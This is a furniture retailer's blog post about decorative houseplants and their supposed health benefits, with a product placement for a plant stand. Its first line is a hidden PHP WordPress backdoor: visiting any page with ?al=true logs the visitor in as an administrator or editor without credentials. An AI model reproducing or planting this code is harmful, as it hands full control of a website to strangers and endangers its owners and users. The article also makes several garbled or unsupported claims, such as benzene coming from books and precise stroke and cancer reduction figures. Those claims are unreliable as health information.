// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Decorative Houseplants: Perfect Embellishments for Interior Spaces - McCreery's McCreery's
  • Follow us:

Decorative Houseplants: Perfect Embellishments for Interior Spaces

From FFDM's Fusion Collection

From FFDM’s Fusion Collection

When you bring in houseplants, don’t think that you’re just adding green stuff.  These living things have the power to interact with you, holistically, and could even enhance the quality of your lifestyle. Just imagine this, you spend about 80-90% of your time indoors. This means that you need to think about solutions for indoor pollution or you end up risking your health.

So what are the benefits of using houseplants as decorative elements in your home?

Houseplants = Fresh Air

As you breathe, your lungs take in oxygen and release carbon dioxide. During photosynthesis, though, this process is reversed in plants. This opposite pattern makes houseplants a great source of oxygen. Just make sure that you bring out the plants at night when photosynthesis stops so that they get to respire as humans do.

If you still want to enjoy seeing plants during the evening, it is best to bring in succulents, orchids and epiphytic bromeliads. These plants are best placed in bedrooms so that air remains fresh at night.

Houseplants = Moisture

Plants release water vapor or moisture as part of their respiratory process. The great news is that plants release 97-percent of their water intake so when you place several plants side-by-side, they can easily increase the humidity inside a room. Doing this has great benefits such as zero sore throats, dry skin and you even get to enjoy a healthy respiratory system, too.

Houseplants = Purified Air

You don’t just get upped oxygen levels in your room if you bring in houseplants. Plants are known to remove toxins from the air. NASA research shows that about 87% of volatile organic compounds or VOCs can be removed by houseplants. Famous VOCs include vinyl, formaldehyde, cigarette smoke, and non-recyclable grocery bags. Paints, solvents, man-made fibers and inks are also filled with these harmful chemicals. Benzene – also a health hazard – is commonly found in books and any printed paper.

If you want to decrease the harmful effects of VOCs, then be sure to bring in plants inside your home. The contaminants are pulled to the soil by the roots of houseplants. The root microorganisms then turn the VOCs to plant food.

For houseplants that keep VOCs at bay, you should try the spider plant, Gerbera daisy, the English ivy, dragon tree, and the philodendron.

Houseplants = Improved Health

Did you know that putting plants inside hospital rooms could speed up the recovery rates of post-surgery patients? This is according to a research conducted by the Kansas State University. When compared to patients who stayed in rooms without plants, the former patients required less pain medication and even had lower blood pressures and heart rates. Eventually, the patients whose rooms had plants were also released earlier.

This same concept can be used to your advantage in your home. You can reduce the occurrence of stroke by 34%; ischemic heart disease by about 26%; COPD by 22%; respiratory illnesses in children by 12% and lung cancer by 6%.

Accessories Uttermost Maurizio Stone Plant Stand 24624

Accessories Uttermost Maurizio Stone Plant Stand 24624

Recommendations

If you aim to improve your overall health also to reduce stress and fatigue, you can place one large houseplant (no less than an eight-inch diameter pot or bigger for each 129 sq. ft. If it is your aim to purify the air, then use 15-18 plants inside 6-8 inch diameter pots. This is for larger homes (approximately 1,800 sq. ft.). This means that you can have one big plant for every 100 square feet or two smaller pots for the same area.

Remember to match the plant according to the growing conditions in your home. There are plants that thrive even with low lighting conditions and there are those that need to be taken out to catch some sunlight.

Tags: , , , , , , , , ,

This entry was posted on Wednesday, November 2nd, 2016 at 8:05 am and is filed under Accents, Accessories, Green Living, Interior Design 101, Interior Design Elements. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Leave a Reply

You must be logged in to post a comment.